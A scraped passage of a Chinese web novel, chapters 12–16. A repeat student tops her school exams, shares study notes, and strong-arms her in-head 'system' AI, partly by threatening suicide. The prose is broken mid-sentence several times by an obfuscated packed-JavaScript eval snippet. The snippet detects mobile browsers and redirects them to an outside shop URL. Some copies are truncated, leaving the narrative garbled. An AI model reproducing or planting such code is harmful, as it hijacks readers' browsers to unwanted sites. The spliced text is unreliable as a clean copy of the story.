“怎么可能?她不是去年才考83分吗?” “这才一个暑假,从83到122?开挂了吧!” “她是不是提前见过试卷?” “刚才谁说她拖后腿的?这分明是来带飞的好吗!” 先前议论过时墨的同学,此刻一个个面红耳赤,恨不得找个地缝钻进去。 尤其是那个“花瓶论”的男生,脸色一阵红一阵白,更是把头埋得低低的,不敢再看时墨一眼。 时墨却充耳不闻,转身回到座位上,拿出语文课本,安安静静地看了起来,淡定得仿佛考出一份超出满分数学试卷对她来说,只是一件再平常不过的小事。 其他人看着那个窗边重新坐下的身影,只觉得那张过分漂亮的脸,此刻仿佛带着一种让人不敢直视的、沉静而耀眼的光芒。 王老师也想起了什么,直接问道:“时墨同学,我记得你去年高考数学是83分?” “是的,老师。”时墨坦然承认。 王老师深吸一口气,郑重道:“一个暑假,脱胎换骨!好!非常好!保持住这个状态,首都大学也未必不能想!” 他这话是对时墨说的,更是对全班所有震惊、怀疑、羡慕的目光说的。 时墨在全班复杂的注视礼中,微微颔首,冲王老师礼貌微笑:“谢谢老师,我会的。” 她脸上没有半分骄矜得意,阳光透过窗户,落在她沉静的侧脸上,长长的睫毛投下一小片阴影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126927|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一刻,所有关于“花瓶”、“草包”、“浪费钱”的流言蜚语,在这份完美的成绩面前,被击得粉碎。 成绩,才是最有力量的反击。 接下来一天的时间,高三年纪几乎被密密麻麻的摸底考试填满了。 语文的文言文翻译、现代文阅读,数学的函数压轴、几何证明,英语的语法填空、阅读理解,物理的力学综合、化学的有机推断……各科试卷像雪花一样飘来,教室里只有笔尖划过纸张的沙沙声,偶尔夹杂着几声压抑的叹息和翻页的响动。 时墨依旧保持着高效的答题节奏,每科都是提前交卷,每一次起身都能引来一片偷偷的注视,大家从开始的惊讶到逐渐习以为常。 李刚和另外两个被赶出去的同学,下课时,凑到一起蛐蛐时墨,嘴角挂着幸灾乐祸的笑:“以前没想到时墨这人还挺装模作样,等明天成绩出来,看她怎么丢人!” “就是,不过是一科成绩好,还门门提前交卷,装的挺像那么回事。” “让她得意一天。” 一整天考下来,所有人都累得瘫在座位上,讨论最多的就是这次开学摸底考的难度,以及对成绩的忐忑。 “这次物理压轴题也太难了吧!我最后一道题直接空着了!” “英语阅读好多生单词,我都没看懂……” “你们说,这次年级第一还会是林薇薇吗?” “肯定是她啊!她上次期末可是甩了第二名十五分!” 没人再议论时墨成绩,在大多数人眼里,她不过是个“漂亮的复读生”,最多数学成绩突出。 第二天一早,学校主教学楼的公告栏前,被人群围得水泄不通。 高三全年级的摸底考试成绩排名,贴得整整齐齐。最前面是总分排名,后面是各科单科排名。 同学们挤在公告栏前,踮着脚尖,目光急切地在名单上搜寻着自己的名字。很快各种惊呼声、抽气声、难以置信的议论声此起彼伏的响起。 “我的天……我没看错吧?第一名是时墨?” “时墨?就是咱们学校特漂亮的那个复读学姐?” “快看!林薇薇在第二!” “这怎么可能?!她去年不是她去年不是考砸了吗?” “作弊了吧?一个暑假蹦到年级第一?开什么国际玩笑!” 公告栏前彻底炸开了锅。 所有人的目光都死死盯在榜首那个名字上——时墨,语文118,数学122,英语100,物理99,化学85,政治98,生物70,总分692。 而原本常年稳居年级第一的林薇薇,以672分的成绩位列第二。 时墨比林薇薇足足高出20分! 瞬间大家议论的分贝比刚才高了不止一个档次。 “这进步速度也太离谱了!感觉像作弊呢?” 有昨天亲眼目睹时墨考场风范的学生忍不住反驳道:“人家数学卷子王老师当场批的,全对!还多得了额外2分,你作弊能作到王老师眼皮底下?” “会不会是复读生有优势?毕竟知识点都学过一遍……” “你放屁!学过一遍就能从专科线冲到年级第一?你给我冲一个试试!”立刻有人反驳道。 “太吓人了……这进步速度,坐火箭了吧?” “以前只觉得她长得过分好看,现在……长得好看还智商碾压,还给不给人活路了?” 人群里,李刚的脸涨得通红,他昨天还嘲笑时墨装模作样,现在人家直接拿了年级第一。 羡慕、嫉妒、震惊、质疑……各种复杂的情绪在人群中涌动。 时墨这个名字,仅仅一天时间,就从“那个漂亮复读生”,变成了笼罩在所有高三学子头顶一片令人仰望又倍感压力的浓云。 13. 第 13 章 开学摸底考成绩公布当天,时墨第一名的消息像长了翅膀,迅速传遍了整个高三年级,甚至传到了其他年级。 “听说了吗?高三(2)班的复读生时墨,成绩干翻林薇薇,拿了年级第一!” “692分!比林薇薇高20分!这进步跟坐火箭似的!” “真的假的?” “千真万确!公告栏上写着呢!各科成绩都在,假不了!” 时墨走到教室时,满室的目光齐刷刷砸过来——有震惊、敬佩,好奇,唯独没了昨天的轻视和嘲讽。 几个同学想上前搭话,却慑于她身上那种淡漠的气质,踌躇着没敢动作。 时墨扫了一圈同学各样的表情,面色如常地走到自己的座位,刚拿出笔袋,一个身影就站到了她的课桌前。 女生穿着干净的蓝衬衫,梳着利落的麻花辫,眼中带着毫不掩饰的审视和不服输的倔强,紧紧地盯着她:“你就是时墨?” “我是。”时墨抬眼,有趣地看着面前人。 【小七,我这是要遇到经典学霸对决名场面了!别说,还真有点小激动呢。】 【……宿主请您专注地面对挑战者,她在挑衅你诶。】 【哎呀,放轻松。】 “我是一班的林薇薇。”女生挺了挺背脊,声音脆生生的,带着不服输的倔强,“这次摸底考你赢了。我承认你很强。” 时墨点头赞同:我也这么觉得。” 林薇薇:“……” 周围竖着耳朵偷听的同学齐齐一噎。 “但我不认为你能一直赢!”林薇薇咬牙。 “难说。”时墨微微倾身。 林薇薇脸一红,后退半步,大声道:“下次月考我一定超过你!” 班级门口和周围看热闹的同学都屏住了呼吸,等着时墨的回应。 原本的年级第二、这次被挤到第三的秦野倚着门框,扶了扶眼镜,饶有兴致地旁观。 时墨看着林薇薇那双充满斗志的眼睛,嘴角缓缓勾起一抹浅淡的笑意:“如果没超过怎么办?” 林薇薇坚定道:“高三一年有各种模拟考、月考、期中期末考,多得是机会!每一次考试,我都会全力以赴,总有一次我能赢回来!” 她的声音不大,却带着一股破釜沉舟般的决绝,在安静的教室里回荡。 时墨忽然笑了。 那笑容很浅,却瞬间冲淡了空气中的的剑拔弩张,反而带上了一丝欣赏。 “好啊。”时墨开口,带着一股从容。 林薇薇似乎没想到她会答应得这么痛快,愣了一下,随即眼神更坚定了:“我不会输的。” 时墨比林薇薇高出半头,微微垂眸看着她:“不过,林薇薇同学,有件事你可能弄错了。” “什么?”林薇薇下意识追问。 “我的目标,”时墨的目光越过她,仿佛投向更远的地方,语气平淡却字字清晰,“从来都不是年级第一。” 教室里一片寂静。 “那是什么?” 时墨收回目光,重新看向她,嘴角依旧噙着那抹浅淡的笑意,眼神却锐利如出鞘的剑锋:“高考状元,首都大学。” 短短八个字,像惊雷一样在每个人耳边炸响! 现在高考录取率极低,状元几乎是万里挑一,首都大学更是无数学子遥不可及的梦! 她居然说得如此理所当然,仿佛那只是囊中之物! 林薇薇彻底怔住,半天说不出话来。 她只是想夺回年级第一,而对方的目光,早已落在了她未曾想过的高度。 秦野也收起了看戏的表情,镜片后的眼睛眯了起来,重新审视起时墨。 其他同学更是被震得七荤八素,看向时墨的眼神,已经从震惊、质疑,变成了彻底的敬畏和仰望。 “所以。”时墨看着林薇薇泛红的眼眶,语气软了些,“如果你想挑战,目标不妨也定得高一点。我们一起努力,看看最后,谁能站得更高。” “好!”林薇薇攥紧拳头,眼中燃起前所未有的斗志。 秦野低声自语:“有意思……今年不会无聊了。” 上课铃声响起,看热闹的同学们迅速散开归位。 铃声刚落,教化学的刘老师就夹着教案、拎着个烧杯走进教室——他头发花白,眼镜片厚得像瓶底,是出了名的严师。 他的目光习惯性地扫过全班,在时墨身上多停留了两秒。 “上课!”刘老师目光一扫,精准锁定时墨,“昨天的作业,抽查几道题。时墨,第五题,氨气催化氧化的实验条件和现象。” 时墨应声站起:“450℃-500℃,铂铑合金作催化剂,生成红棕色二氧化氮,伴随放热。” “第七题,实验室制取乙烯的注意事项。” “酒精与浓硫酸体积比1:3,迅速升温至170℃,防副反应,温度计插入液面下。” 刘老师点点头,又抛出道难题:“第九题,有机推断,这个结构简式怎么推导?” 时墨略一沉吟,条理清晰地从官能团特征讲到反应机理,没打半点磕巴。 “再说说,实验室制取□□的反应原理,以及收集方法和尾气处理方式。” “实验室常用浓盐酸和二氧化锰加热制取□□,反应方程式是MnO?+4HCl(浓)△MnCl?+Cl?↑+2H?O;收集用向上排空气法或排饱和食盐水法;尾气用氢氧化钠溶液吸收,防止污染空气。” 一连问了几道题,时墨全部答对,无一错漏。 刘老师的脸色却越来越“精彩”,从欣赏、困惑,最后变成了一种混合着“幽怨”的复杂表情。 “不错,回答得很好。” 刘老师看着时墨,长长叹了口气,“时墨同学啊,老师得问问,你是不是对我,或者对化学这门课,有什么意见?” 全班:“???” “啊?”时墨懵了,眨眨眼:“没有啊刘老师,我挺喜欢您的课。” “挺喜欢?”刘老师拍了拍教案上的成绩单,“那你给老师解释解释,你其他科都拔尖,怎么偏偏到了我这化学,就考了个85分呢?林薇薇都考92,单这科你就被拉7分!要不是你其他科太能打,第一还不一定是谁的!” 刘老师痛心疾首,活像自己的教学成果被否定了:“是不是老师哪里讲得不够明白?还是实验演示不够清楚?你指出来,老师改!” 教室里顿时响起低低的笑声,谁都知道,刘老师上课全靠“现场作法”——实验室器材老旧,很多实验只能举着试管喊“看仔细颜色变化”,用肢体语言夸张演示反应现象,私下里早被学生叫“刘大仙”。 时墨被问得有点哭笑不得,但看着刘老师认真的眼神,坦诚道:“刘老师,您讲得很好,是我自己的问题。” “我的化学,尤其是需要动手实验、观察现象才能得出准确结论的题型,掌握得不够扎实。纸上谈兵我会,但一涉及到具体实验细节和操作分析,就容易丢分。” 时墨承认得如此干脆利落,毫不遮掩自己的短板,反倒让全班同学都有些意外。 这可是刚拿下年级第一的学神啊! 居然就这么大方地承认自己有弱项? 要知道,学霸大多好面子,就算有短板,也很少会这么坦然承认。 刘老师也愣了一下,随即想起什么,脸上闪过一丝尴尬。 他拍了拍手里孤零零的烧杯,叹了口气:“也不怪你。咱们学校实验室条件有限,化学实验室就那么几间,器材也老旧,很多实验确实只能靠老师在讲台上演示,没法让你们亲手操作,你们看得不真切,理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“时间不够用?利用好碎片时间,比如等车、排队的时候背几个知识点。” 时墨讲得深入浅出,方法实用,语言通俗易懂,条理清晰,不像老师讲课那么枯燥,反而带着几分趣味性。 时墨还把自己整理的学习逻辑、答题技巧,甚至如何分配时间、如何整理错题本,都毫无保留地分享了出来。 同学们听得两眼放光,如获至宝。时不时点头附和,还有人拿出小本子,飞快地记录着。 过来询问的同学越来越多,把时墨的座位围得水泄不通。 “这么说太费劲儿了,很多细节也说不清楚。”时墨讲得口干舌燥,喝了口水,笑着说,“这样吧,我家里有一些之前自己整理的各科重点笔记和学习方法总结,挺零散的。我明天整理一下,带到学校来,大家需要的话可以看看。” “真的吗?!” “时墨你也太好了吧!” “太谢谢你了时墨!我们一定好好看!” 同学们喜出望外,连连道谢。 在这个资料匮乏、学习主要靠课堂和手抄笔记的年代,学神无私分享自己的“秘籍”,简直是天大的好事!花钱都买不来! 时墨话说出去,但一想到她桌上那堆自己随手写写画画、有点乱的草稿纸和笔记本,开始头疼。 真要她自己整理成别人能看懂的“资料”,得花不少时间。 这时,时墨想起来,她得躺平啊! 【宿主,您可算想来了。】系统哀怨道, 后悔,就是后悔,它当初不该没忍住听宿主的话,花她的钱。 真是吃人嘴短,拿人手短! 它以后要控制住自己! 14. 第 14 章 【小七,你说我是不是除了上学其他时间得躺平?】 【没错!】 【那你看,我要整体学习资料是不是耗费精力,违背躺平原则?】 【是的!】 【所以嘛,小七。】时墨终于抛出目的。 【你下班前,把我之前复习时,梳理的各科知识框架、重点题型归纳、还有那些学习方法,整合一下,整理出适合同学们的学习资料。不用太深奥,就基础和中档难度,重点突出,条理清晰。】 【整理好了,直接打印出来,放我书桌上。打印费,邮费从我的账户扣。】 系统:【……】 【辛苦费你自己看着拿。】 【好嘞!宿主放心交给我!保证完成任务!】系统兴奋地答应下来,【不过宿主,打印和快递都不用花钱,我有免费传送功能!】它还有点小骄傲地补充道。 【那就都当给你的辛苦费。】时墨大方道。 【谢谢宿主!我一定给您整理得漂漂亮亮、清清楚楚!】系统早把刚才立的誓言忘在脑后,干劲十足道。 晚上放学回家,时墨看到书桌上整整齐齐地放着一摞崭新的、装订整齐,还散发着淡淡油墨香的打印资料。 时墨大致翻看了一下,内容果然如她所要求,分门别类,重点突出,例题典型,方法总结言简意赅。 甚至还贴心地分了“基础巩固”、“能力提升”、“易错归纳”几个板块。质量之高,远超她的预期。 “果然,金钱的魅力,系统也抵抗不住。” * 课间时分,时墨拿出那摞系统帮忙整理的复习资料时,班里瞬间沸腾了。 “这么多?!” “时墨你一晚上整理的?” “基础巩固、能力提升……还分板块?太周到了!” 同学们呼啦一下全围了过来,眼睛放光地看着那摞资料,都想先睹为快。 “大家别急,资料就这一份。”时墨提高声音,“我建议找两位同学去校外复印,或者找学校复印室,费用平摊。这样人手一份。” “我去!我知道校门口老刘家可以复印,价钱公道!” “中午放学,我跟你一起去!” 很快,两名同学自告奋勇,在下午上课前,抱着复印好的资料分发到每个人手中。 拿到资料的同学们如获至宝,纷纷向时墨道谢。 原本有些疏离的同学关系,因为这份笔记,变得格外融洽。 然而,让时墨没想到的是。 第二天早自习,时墨伸手进桌肚拿课本,却摸到一堆零散的纸片和硬币。 她疑惑地掏出来一看——毛票、分币,还有折起来的一元、两元纸币,粗粗一算,得有十几二十块。 她下意识地环视教室。 原本有些嘈杂的早自习瞬间安静了不少,不少同学低下头假装读书,耳朵却支棱着。 时墨举起零钱,语气平静:“谁放的?” 教室里鸦雀无声,无人承认。 时墨看着下面一张张故作镇定却难掩紧张的脸,心里又是好笑又是温暖。 她放缓了语气:“是大家给我的吗?因为那些资料?” 这时,孙晓梅像是鼓足了勇气,猛地转过身,脸涨得通红,小声又快速地说:“时墨,大家知道你整理资料也费不少精力。我们条件好点的,就凑了点……真的不多!条件不好的不用给!都是自愿的!你要是不收,我们……我们心里过意不去……” 她的话像打开了闸门,其他同学也纷纷附和: “是啊时墨,你就收下吧!这是我们的一点心意!” “就是一点早饭钱……” “对,你给我们的笔记,比这值钱多了!” 时墨看着那一张张质朴而真诚的脸,手里捏着那些还带着体温的零钱,心里某个柔软的地方被狠狠触动了一下。 八十年代的校园,物质匮乏,但同窗之情却如此纯粹而珍贵。他们用这种最笨拙、最含蓄的方式,表达着自己的感谢。 【宿主……】系统也有些感慨,【你这同学们也太淳朴了吧!他们都是诚心诚意,这钱你就收下呗!】 【有些钱能赚,有些不能赚。】时墨教育道,【什么钱都要,那就不是人了。】 时墨看着大家真诚的眼神,知道自己再拒绝,反而会伤了大家的心。 她笑了笑:“那好吧,我收下大家的心意。不过这些钱,我不能自己用。这样吧,咱们用这些钱买些练习本和笔,放在班里的‘共享角’,谁需要谁就拿,怎么样?” “诶,这个主意好!” “还是时墨想得周到!” “就这么办!” 同学们纷纷赞同,教室里响起了热烈的掌声。 时墨摸了摸手中那叠零钱,第一次觉得,钱币的触感,也可以如此温暖而沉重。 晚自习的铃声响起,学生们如潮水般涌出教室。 红星中学门口立刻热闹起来,自行车铃声、同学间的嬉笑声混在一起, 时爱国早早蹬着那辆半旧的“永久”牌自行车等在校门外,车把上挂着个旧布袋。他蹲在昏黄的路灯下,正琢磨着闺女复读压力大不大,就听到几个学生经过时,热情地朝他打招呼: “时叔叔好!” “叔叔您来接时墨啊。” 时爱国有点懵,赶紧站起来,笑着应道:“哎!好!好!” 接着,越来越多的学生跟他问好,有的还特意放慢脚步,笑着说:“时叔叔,时墨太厉害了!给我们整理的笔记超好用!” “时墨模拟考是我们年级第一,太牛了!” 听到这话,时爱国心里乐开了花,脸上的皱纹都舒展开了。 他一边一一回应,一边在心里嘀咕:自家闺女这才开学几天,人缘就这么好了?看来和新同学处得不错,这下他和媳妇总算能放心了。 正想着,就看到闺女被一群同学簇拥着从校门口走出来。 “墨墨!这儿呢!”时爱国扬声喊了一句。 时墨抬头看见父亲,对身边人说了声:“我爸来接我了,我先走了,大家路上小心啊。” 道别后,时墨轻盈地跳上自行车后座。两个顺路的同学骑车跟在旁边。 路上,时爱国忍不住好奇,边蹬车边问:“墨墨,你这些同学咋都这么热情?刚才好多人都跟我打招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【否则会触发惩罚机制,可能是头疼,手臂暂时失灵等意外。宿主,我相信您的实力,作业对您来说都是累赘,请好好享受晚间时光。晚安~】 时墨:“……” 她看着桌上摊开的卷子捏了捏鼻梁:【小七呢?让它出来说话。】 【系统已下班。】AI的机械音响起:【我是值班监控AI。请宿主立即停止违规行为,否则三分钟后将触发惩罚机制——轻度偏头痛,持续两小时。】 时墨笑了,拿起笔,在物理卷子上写下第一个公式:【随你。】 AI:【警告:惩罚可能随违规次数加重,今日为轻度偏头痛,后续可能升级为手臂暂时性麻痹、视力模糊等……】 听到被威胁的话,时墨手中笔一扔:【本着和谐共赢,既然没得谈了,我立刻去投胎,你去上报吧。】 时墨说着往窗边走去。 AI遇到特殊情况,发出哔哔的紧急声:【您的消息已上报,请稍等,】 时墨打开窗户抬头望天,心里数着:……十,二十,二十八。 AI机械声再次响起:【经紧急请示上级,今日特批缓冲期。请宿主在22点前完成必要作业。从明日起,请严格遵守规定。】 【明天作业呢?】 【您可在学校完成作业,请宿主理解,规则就是规则。】 时墨嘴角勾起一个冷淡的弧度。 系统,明天咱们得好好谈谈了。 15. 第 15 章 早九点,时墨脑海里响起系统小心翼翼的声音:【宿主早上好!昨晚……】 时墨上着英语课,语气平静得听不出情绪:【你们系统违规修改协议,是不是该给我个说法?】 系统赶紧解释:【宿主,是上级突然……】 【协议第三条。】时墨打断它,【‘系统不得单方面变更核心条款,如需调整需经宿主书面同意’——我同意了吗?】 【可是、可是写作业确实违规啊!之前是没发现这个漏洞……】 【那是你们的工作失误。】时墨笔尖在纸上划出一道清晰的线,【漏洞是你们的,后果却要我来承担。小七,你觉得这合理吗?】 系统语塞。 【我本着合作共赢的态度,结果呢?你们说改就改,连缓冲期还得我自己争取,如果不给我,你今天见到的会是我的尸体。】 【我错了宿主。】系统声音越来越小,【可我真的尽力争取了……】 【尽力?】时墨轻笑一声,【你所谓的尽力,就是发条内部消息然后准时下班?】 她放下笔,靠向椅背:【系统AL-89757,我们打开天窗说亮话。如果合作是这种模式——你们随时可以加条款,我只能被动接受——那这合作没必要继续了。】 【宿主!别啊!】系统听到宿主叫它全称真急了,【有事好商量,您想怎么样?】 【第一,昨晚的事,系统必须补偿。】时墨条理清晰,【精神损失,时间损失,还有我被迫改变学习计划造成的效率损失。】 【这……这怎么算啊……】 【你们系统不是能量化一切吗?】时墨挑眉,【按你们的标准算。第二,从今天起,所有规则变动必须提前24小时告知。】 她顿了顿,语气转冷:【第三,也是最重要的一点。如果再有这种‘突然检查’、‘临时新规’,我们立刻解除绑定。你们找别人完成你们的‘躺平指标’,我重新投胎。听明白了吗?】 系统被这番连珠炮似的条件砸懵了,电子音都带了哭腔:【宿主,这太严厉了……上面不会同意的……】 【那就让他们换个听话的宿主,我离窗边近】时墨重新拿起笔,在纸上写数字,【我数三下。三——】 【等等!】系统尖叫,【我现在就去申请!】 【二。】 【宿主!给我点时间!】系统快急哭了,【我保证给您争取到最优惠的条件!赔偿也一定会有的!】 时墨笔尖停下。 【一小时内。】她松了口,【我要看到书面补偿方案和新协议。还有,从今天起,十点前是我创作时间。】 【十点?!可……】 时墨语气不容置疑:【你们要的是‘非在校时间不学习’,我的要求合情,合理,合规。】 系统沉默了几秒,夸赞道:【宿主您太聪明了!】 时墨:【告诉你的上级,合作是双向的。如果再有一次单方面违约——】 她顿了顿,一字一句:【我不介意极端手段,你们应该知道,我有这个能力。】 这话说得轻飘飘,却让系统后台的数据流都滞涩了一瞬。 【明、明白了!】系统的声音前所未有地郑重,【我一定把话带到!】 系统声音消失后,时墨继续听课。 谈判就是这样——你得让对方知道,你有掀桌子的能力,也有掀桌子的决心。 只有这样,他们才会认真考虑你的条件。 * 第三节课间,小七回来了,声音里带着压不住的兴奋:【宿主!谈成了!】 “说。” 【第一,补偿方案:系统免费提供三次‘精力恢复’服务(可储存使用),外加500点能量币(可在系统商城兑换物品)。】系统飞快汇报,【第二,所有规则变动保证提前24小时书面告知,以浮空文字形式显示,持续五分钟。第三……】 它顿了顿,小心翼翼:【上级同意您10点前作为写作业的时间,但您周日必须彻底休息,只能从事娱乐相关事件。这个真的没商量余地了……】 时墨嘴角微扬:【成交】 【还有还有!】系统补充,【上级让我转告您,他们很欣赏您的‘契约精神’和‘谈判能力’,希望后续合作愉快。还说……如果您明年高考成绩特别优异,系统会有额外奖励!】 【画饼的话就免了。】时墨合上书,【把补偿兑现,协议更新。另外,能量币商城列表发我看看。】 【马上!】系统干劲十足。 几分钟后,时墨“看”着脑海里浮现的商城界面,挑了挑眉——里面还真有些有意思的东西:“记忆增强药剂(临时)”、“专注力提升贴片”、“运气抽签”…… 系统察觉到时墨想法解释道:【宿主您要是好好做任务,获得能量币,咱们早就打开商城了。】 【怨我咯?】 【怨……怨我。】 系统嘤嘤嘤地伤心跑走,别人家的宿主都是灵珠,它怎么摊上个魔丸! 它的统命好苦啊—— * 日子在忙碌中飞快流逝,第一次月考如期而至。 成绩公布那天,整个高三年级都炸了锅。 高三(2)班总平均分比摸底考提高了整整8分!和重点班(1)班的差距缩小到10分以内! 而个人成绩榜的顶端,时墨以695分的绝对优势再居年级第一,甩开第二名林薇薇22分,数学、物理更是拿了双满分! 2班教室里爆发出雷鸣般的欢呼。 同学们兴奋地互相击掌,瞬间围到时墨身边,各自说着感谢的话,还说着自己的进步…… 一个女生眼圈都红了:“我……我以前都觉得自己考不上大学了,现在……现在我觉得有希望了!” 时墨拍拍她肩膀打趣:“这是你自己努力的结果!你更应该感谢自己!” 女生红着眼点点头。 王老师拿着成绩单走进来,脸上笑容藏不住:“同学们,这次咱们打了场漂亮翻身仗!记住这种感觉!2班一点不比1班差!希望大家戒骄戒躁,继续保持这股劲头!特别感谢时墨同学,她的分享功不可没!” 教室里掌声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126930|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷动。 时墨笑着摆摆手,心里也暖烘烘的——这种一起努力、共同进步的感觉,很不错。 晚上回家,时墨把月考成绩一说,时爱国和李秀兰高兴得合不拢嘴。 李秀兰放下手中的钩针,当即拍板:“周日咱一家必须得好好庆祝!妈去供销社买只鸡,给你炖鸡汤补补,再做你爱吃的红烧肉!” “想吃啥尽管说,妈都给你做!” 时墨笑着点头:“红烧肉就够香了,妈你别太累。” 时爱国也在一旁乐呵道:“我明天去菜市场蹲点,买条新鲜的鲤鱼,吃鱼补脑,咱闺女可得好好补补!” 爸妈说什么,时墨都笑着应下。 周日一早,时墨先去邮局把《返城知青逆袭记》的后续章节寄了出去,顺便取了最新的稿费,这次连载的稿费有一百二十元,比之前的短篇多了不少。 拿着稿费单,时墨又拐去书店,买了两沓稿纸和几个新信封,这才慢悠悠地往家走。到家已经是中午了。 刚走到家门口,时墨就听见屋里传来一阵谈笑声,除了爸妈和哥哥时建军的声音,还夹杂着一个熟悉的男声。 时墨脚步一顿,推开门。 谢时昀身姿笔挺地坐在沙发上,正跟时爱国聊天。他左臂绷带已经拆了,脸色比上次在医院见到时好了不少。一身干净的白衬衫西装裤,衬得他愈发清俊挺拔,和朴素的客厅有些格格不入。 更让时墨眼皮一跳的是,客厅靠墙地上,整整齐齐码放着一堆东西:两盒贴着红签的京式糕点,两瓶玻璃罐头,两盒麦乳精,一袋大白兔奶糖,还有一斤红通通的苹果。 这阵仗,这规格,在眼下这年头绝对算重礼了!通常只有逢年过节或极重要的人情往来才会出现。 李秀兰正端着泡好的茶从厨房出来:“墨墨回来啦!快进来!” 时建军的腿还没好利索,坐在旁边的小板凳上,见她回来,咧着嘴笑:“小妹,谢同志来看咱了!” 谢时昀听到动静起身,阳光透过窗户洒在他身上,勾勒出利落的轮廓。 他的目光落在时墨身上,看到她手里的稿纸和信封,眼中掠过一丝了然的笑意,随即温声开口:“时墨同志,打扰了。” 时墨换了鞋走进屋,把稿纸放在柜子上,走上前礼貌地笑了笑:“谢同志,上次救我哥的事还没好好谢谢你呢。你怎么还带这么多东西来,太客气了。” 她心里忍不住犯嘀咕——这人怎么突然上门了? 没等谢时昀开口,时爱国就连忙摆手,语气里满是不好意思:“你说这事儿!是我邀请小谢来家里吃饭的,就是想好好谢谢他救了建军。谁知道这孩子实诚,还拎这么多东西,这让我多过意不去!” 听到是她爸邀请的,时墨心里的疑云散了些。 “时叔,我上门拜访,一点心意而已。”谢时昀笑了笑,从随身的公文包里拿出一个牛皮纸信封:“这是我托人找的一些化学实验图示详解和习题集。听说你化学需要加强实验部分,或许能帮到你。” 时墨一愣,下意识地问:“你怎么知道我化学差?” 16. 第 16 章 这话一出,她自己都觉得有点唐突,刚想解释,时爱国就接了话:“嗨,那天我跟小谢唠嗑,顺嘴提了句,没想到这孩子还记在心上了。” 原来是这样。时墨心里的防备放下了些,接过信封,指尖触到厚实的纸张,真诚道:“谢谢你,让你费心了。” “举手之劳。”谢时昀看着她,眼底的笑意深了几分。 时墨将信封放在桌上,目光不经意扫过地上那堆礼物,又抬眼看了看谢时昀。他笑容坦荡,举止得体,一切都合情合理。 可她心里那点疑虑并未完全散去。 时爱国热情地招呼:“小谢快坐!别站着了!鸡汤马上就炖好了,今天就在这儿好好尝尝你阿姨的手艺!” 谢时昀笑着应下,重新坐下聊天。 时墨看着谢时昀和父亲谈笑风生的身影,压下心中思绪,脸上笑容依旧:“妈,午饭好了吗?我帮您端菜。” “快了快了!你们先聊着!”李秀兰在厨房应道。 时墨转身朝厨房走去,背对客厅时,眼底掠过一抹深思。 这个谢时昀……究竟打的什么主意? 时墨没来得及多寻思,就被她妈的话打断了。 “墨墨快来搭把手!” “来了。” 时墨走进厨房,李秀兰正忙着往盘子里盛菜,案板上摆着一大碗炖得金黄的鸡汤,油花浮在表面,飘着葱段姜片;一盘红亮油润的红烧肉,颤巍巍地冒着热气;还有一盘清炒白菜、一碗鸡蛋羹,还有一盘凉拌黄瓜,都是家常却扎实的硬菜。 李秀兰手脚麻利地递过两双筷子,“把这盘红烧肉和鸡蛋羹端出去,咱这就开饭了!” 时墨接过来,小心翼翼地往客厅走。 客厅里,时爱国正跟谢时昀聊得起劲,话题离不开厂里的新鲜事,时建军坐在一旁,偶尔插两句话,气氛热络得很。 “来来来,小谢,别客气!”时爱国见菜端上来了,立刻起身跟着摆盘,招呼着,“都是家常便饭,你可别拘束!” 谢时昀笑着起身:“时叔太客气了,这菜看着就香。” “小谢,快坐快坐,家里没什么好菜,别嫌弃。”李秀兰热情地招呼着,给谢时昀盛了满满一碗米饭。 “阿姨您太客气了,这已经很丰盛了。”谢时昀接过碗,笑容真诚,丝毫没有架子。他夹了一筷子红烧肉,仔细品尝后赞道:“阿姨手艺真好,这红烧肉肥而不腻,味道正宗。” “喜欢就多吃点!”李秀兰被夸得眉开眼笑,拿起汤勺,给谢时昀盛了满满一碗鸡汤,还特意舀了块鸡大腿:“小谢,多喝点汤,补补身子!你上次救建军,肯定受了不少罪。” “谢谢阿姨。”谢时昀双手接过。 谢时昀汤还没两口,时建军用公筷又给他夹了满满的菜,盘子里的红烧肉、鸡块堆得像小山。 时墨坐在谢时昀对面,安静地吃饭,偶尔附和两句,目光却不着痕迹地观察着谢时昀。 谢时昀的谈吐举止无可挑剔,不管是跟时爱国聊厂里的技术活,还是听李秀兰念叨家常,都听得很认真,偶尔回应两句,总能说到点子上,既不显得刻意讨好,也不会让人觉得敷衍,分寸感极好。 可越是这样,时墨心里那点疑虑就越挥之不去。一个在对外经济联络总局当副处级调研员的人,按理说前途无量,怎么会特意拎着重礼,来一个普通工人家庭赴宴?还这么费心费力地帮她找化学资料? 不对劲。 饭吃到一半,话题不知怎么转到了时爱国的工作上。 